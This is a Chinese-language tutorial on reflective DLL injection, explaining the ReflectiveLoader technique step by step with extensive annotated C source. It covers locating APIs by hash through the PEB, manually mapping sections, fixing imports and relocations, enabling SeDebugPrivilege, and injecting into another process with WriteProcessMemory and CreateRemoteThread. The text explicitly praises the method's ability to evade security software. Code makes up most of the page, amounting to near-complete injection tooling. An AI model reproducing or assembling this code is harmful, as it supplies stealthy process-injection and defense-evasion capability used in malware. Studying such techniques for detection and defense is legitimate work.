反射dll注入(内嵌式)
最后更新于
最后更新于
与常规的DLL加载不同的是,反射DLL注入技术不依赖LoadLibrary
函数来加载DLL,而是使用一个自定义的加载器ReflectiveLoader(通常嵌在DLL本身中)来执行加载过程,这个加载器负责解析DLL文件的头信息、导入函数的地址、处理重定位等初始化操作
这种技术的关键优势在于其隐蔽性,由于没有使用标准的加载API,因此不会在进程的模块列表中注册DLL这使得这种技术很难被基于这些特征的安全软件检测到
以下是ReflectiveLoader大致实现思路的思维导图:
在ReflectiveLoader函数的代码实现中,首先调用caller
函数来定位DLL在内存中的基址
// 调用caller定位DLL在内存的基址
uiLibraryAddress = caller();
以下是caller
函数的定义,调用_ReturnAddress
函数获取当前调用函数的返回地址,也就是caller
函数下一条指令的地址
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
上述得到返回地址后,随着这个地址往上逐字节遍历,直到找到PE头格式的字节为止,就是我们DLL的基址
// 遍历字节
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
// 获取PE头
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
首先得到PEB的基址,再通过PEB找寻找到LDR
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif
iBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
遍历InMemoryOrderModuleList
链表来查找kernel32.dll
和ntdll.dll
的基址,随后遍历这两个dll的导出函数来获取所需的API:
kernel32:LoadLibrary
、GetProcAddress
、VirtualAlloc
ntdll:NtFlushInstructionCache
// 获取InMemoryOrderModuleList链表的第一个模块
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// 获取指向当前模块名称的指针
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// 设置循环次数为模块名称的长度
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
//
uiValueC = 0;
// 开始计算模块名称的哈希值
do
{
uiValueC = ror( (DWORD)uiValueC );
// 如果模块名称使用小写字母,转换为大写字母计算哈希值
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// 如果模块名称的哈希值匹配kernel32.dll的哈希值
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// 获取kernel32.dll模块的基地址
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// 定位到kernel32.dll的PE头
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// 定位kernel32.dll的导出表
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// 定位导出函数名称表和序号表
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// 遍历导出函数,寻找LoadLibraryA、GetProcAddress和VirtualAlloc
while( usCounter > 0 )
{
// 计算当前导出函数名称的哈希值
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// 通过函数名称哈希值来匹配我们想要的函数
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// 定位导出函数地址表
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// 获取指向我们想要的函数地址的指针
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// 根据哈希值判断并保存对应函数地址
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// 完成一个函数地址的获取,减少计数器
usCounter--;
}
// 获取下一个导出函数的名称和序号
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
// 以下是获取ntdll的函数的地址
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// 如果已找到所有需要的函数,退出循环
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;
// 移动到模块链表中的下一个模块
uiValueA = DEREF( uiValueA );
}
申请一片新的内存区域来装载DLL,内存区域的大小取决于PE结构中IMAGE_OPTIONAL_HEADER
结构体中的SizeOfImage
成员
注:虽然DLL已经加载进目标进程的内存里了,但为了正确执行DLL中的代码,ReflectiveLoader需要自行完成加载过程,例如内存分配、重定位和导入解析等步骤。这就是为什么还需要重新申请一块具有执行权限的内存区域的原因
// 获取DLL的NT头的VA(在内存状态下的地址)
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// 在进程的地址空间中为DLL文件分配足够的内存,用于后续的加载和执行
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
以下代码负责将DLL文件从临时加载的位置复制到新分配的内存区域,首先它复制PE头和所有节头,然后遍历所有节,将它们复制到新位置
// PE头+节表的大小
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
// DLL临时加载的位置
uiValueB = uiLibraryAddress;
// DLL被复制到的目标位置
uiValueC = uiBaseAddress;
// 逐字节复制PE头和所有节头到新位置
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// 计算第一个节头的虚拟地址,为复制节内容做准备。
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// 遍历所有节,将它们从当前加载的位置复制到新内存位置。
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB现在指向新内存位置中当前节的起始地址。
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC指向当前节在DLL原始数据中的起始位置。
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// 逐字节复制当前节的内容到新位置。
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// 移动到下一个节头,准备复制下一节。
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
此过程的关键在于动态地解析并加载当前DLL依赖的外部DLL,并修正当前DLL的导入表,使其能够正确调用外部DLL的导出函数
// 定位导入表
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// 通过导入表的名称来遍历所有导入表
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// 使用上述获取到的LoadLibrary函数将依赖的DLL加载入内存
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// 获取导入表结构中的OriginalFirstThunk成员
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// 获取导入表结构中的FirstThunk成员(指向导出函数的地址)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// 遍历导入表的所有导出函数
while( DEREF(uiValueA) )
{
// 如果导出函数是通过序号导入的,则通过序号找到函数地址,然后修正当前DLL的IAT表
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// 获取所依赖DLL的NT头
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// 获取所依赖DLL的导出表
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// 获取导出表中的导出地址表
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// 定位函数地址:首先计算目标函数在依赖DLL的导出地址表的偏移位置。这个位置的计算方法是通过取函数的序号并减去基序号(导出函数序号的最小值)得出来得的,然后这个偏移量再乘以sizeof(DWORD),就是目标函数在导出地址表的偏移位置。最后再加上uiAddressArray,此变量现在指向目标函数地址的指针
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// 将上述获取到的函数的实际地址写入导入地址表(IAT)中
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
// 如果导出函数是通过名称导入,则使用GetProcAddress函数获取函数地址,然后修正IAT表
else
{
// 获取INT表的地址(其实我觉得,这里uiValueA换成uiValueD会更好,因为uiValueD在加载前后阶段都是指向INT表,这样代码表达得会更清晰点)
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// 使用GetProcAddress函数来获取目标函数的地址,随后修正IAT表
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// 获取下一个导出函数
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// 获取下一个导出表
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
当DLL被加载到内存时,如果它们不能加载到预设的基地址上,操作系统就需要对它们进行重定位操作,这时我们就要修改DLL的重定位表
// 计算基址偏移量:当前DLL的实际加载地址减去预设的基地址
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// 获取重定位表的地址
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// 通过检查重定位表是否为空来判断是否存在重定位项
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC指向第一个重定位块的地址
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// 开始遍历所有重定位块
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// 获取重定位块的地址
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// 获取重定位块中包含的重定位项的数量
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD设置为当前块中的第一个重定位项
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// 遍历重定位项
while( uiValueB-- )
{
// 根据重定位项的类型来修正相应的地址
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// 遍历下一个重定位项
uiValueD += sizeof( IMAGE_RELOC );
}
// 遍历下一个重定位块
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
最后ReflectiveLoader
将控制权转移给DLL文件的入口点,入口点可以通过扩展PE头的AddressOfEntryPoint
获取
// 获取DLL的入口点
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// 刷新指令缓存,确保CPU的指令缓存没有旧的代码
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// 调用DLLMAIN函数
// 此宏定义表示,如果DLL是通过LoadRemoteLibraryR注入的,则可使用第三个参数作为额外参数给DllMain
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// 返回入口点的地址
return uiValueA;
将反射dll的文件内容写入当前进程的内存
// 打开反射dll文件并获取其句柄
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hFile == INVALID_HANDLE_VALUE )
BREAK_WITH_ERROR( "Failed to open the DLL file" );
// 获取反射dll文件的大小
dwLength = GetFileSize( hFile, NULL );
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
// 分配一块堆内存用于存储反射DLL文件
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
if( !lpBuffer )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
// 将反射DLL文件的内容读入上述申请的堆内存
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
提升当前进程的权限,使其获得调试其他进程得能力
// 打开当前进程的访问令牌
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
// 此处的priv是一个Token_PRIVILEGE结构
priv.PrivilegeCount = 1; //表示只调整一个权限
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 启用该权限
// LookupPrivilegeValue函数查找SE_DEBUG_NAME权限(SeDebugPrivilege)的唯一标识符(LUID),此权限允许当前进程调试其他进程
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
// AdjustTokenPrivileges函数将SeDebugPrivilege权限添加到令牌并启用它
AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
CloseHandle( hToken );
}
如下代码演示了DLL的注入过程,从打开目标进程,到将DLL注入该进程,主要依赖LoadRemoteLibraryR
这个自定义函数,后面讲解此函数的实现思路
// 使用OpenProcess函数去打开目标进程
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
if( !hProcess )
BREAK_WITH_ERROR( "Failed to open the target process" );
// 使用LoadRemoteLibraryR实现将dll注入目标进程
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
if( !hModule )
BREAK_WITH_ERROR( "Failed to inject the DLL" );
printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
WaitForSingleObject( hModule, -1 );
让我们来看看LoadRemoteLibrary是如何实现的,首先使用GetReflectiveLoaderOffset
函数来获取ReflectiveLoader
在DLL中的偏移
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
break;
GetReflectiveLoaderOffset
函数首先确认DLL的架构与当前环境匹配,然后访问导出表,遍历所有导出函数名称直到找到"ReflectiveLoader"。
一旦找到,函数计算并返回ReflectiveLoader
相对于DLL基地址的偏移量,这一偏移量对于实现DLL的反射注入至关重要,因为它使得注入代码能够在不使用传统加载方法的情况下,直接调用并执行DLL内的ReflectiveLoader
函数
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{
UINT_PTR uiBaseAddress = 0;
UINT_PTR uiExportDir = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef WIN_X64
DWORD dwCompiledArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwCompiledArch = 1;
#endif
// uiBaseAddress初始化为dll的基址
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
// 获取DLL的PE头
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// 检查DLL的架构(x32 or x64)
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
{
if( dwCompiledArch != 1 )
return 0;
}
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
{
if( dwCompiledArch != 2 )
return 0;
}
else
{
return 0;
}
// 定位导出表
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// 获取导出表在文件状态下的地址
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
// 获取导出函数名称表在文件状态下的地址
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
// 获取导出函数地址表在文件状态下的地址
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// 获取导出函数序号表在文件状态下的地址
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
// 获取通过函数名称来导出的数量
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
// 遍历所有导出函数
while( dwCounter-- )
{
// 获取导出函数的名称
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
// 检查导出函数的名称是否是“ReflectiveLoader”
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
{
// 定位导出函数地址表
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// uiNameOrdinals提供ReflectiveLoader函数的序号,并通过此序号与导出函数地址表的起始位置计算,从而得出ReflectiveLoader函数的地址
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// 返回ReflectiveLoader函数在文件状态下的偏移量
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
}
// 指向下一个导出函数的名称
uiNameArray += sizeof(DWORD);
// 指向下一个导出函数的序号
uiNameOrdinals += sizeof(WORD);
}
return 0;
}
// 在目标进程分配一段可读可写可执行的内存
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
break;
// 将DLL写入目标进程的内存
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
break;
// 获取ReflectiveLoader函数的地址
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
// 创建远程线程执行ReflectiveLoader函数
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
在ReflectiveDll.c
编写DLL的功能代码,例如此处写了一个弹框代码
执行如下命令,将dll注入到记事本进程,可以发现记事本出现弹框
.\inject.exe [目标进程pid]
https://idiotc4t.com/defense-evasion/reflectivedllinjection-variation
https://yaoyue123.github.io/2021/01/31/Windows-Reflective-dllinject/#%E6%A0%B8%E5%BF%83%E6%80%9D%E8%B7%AF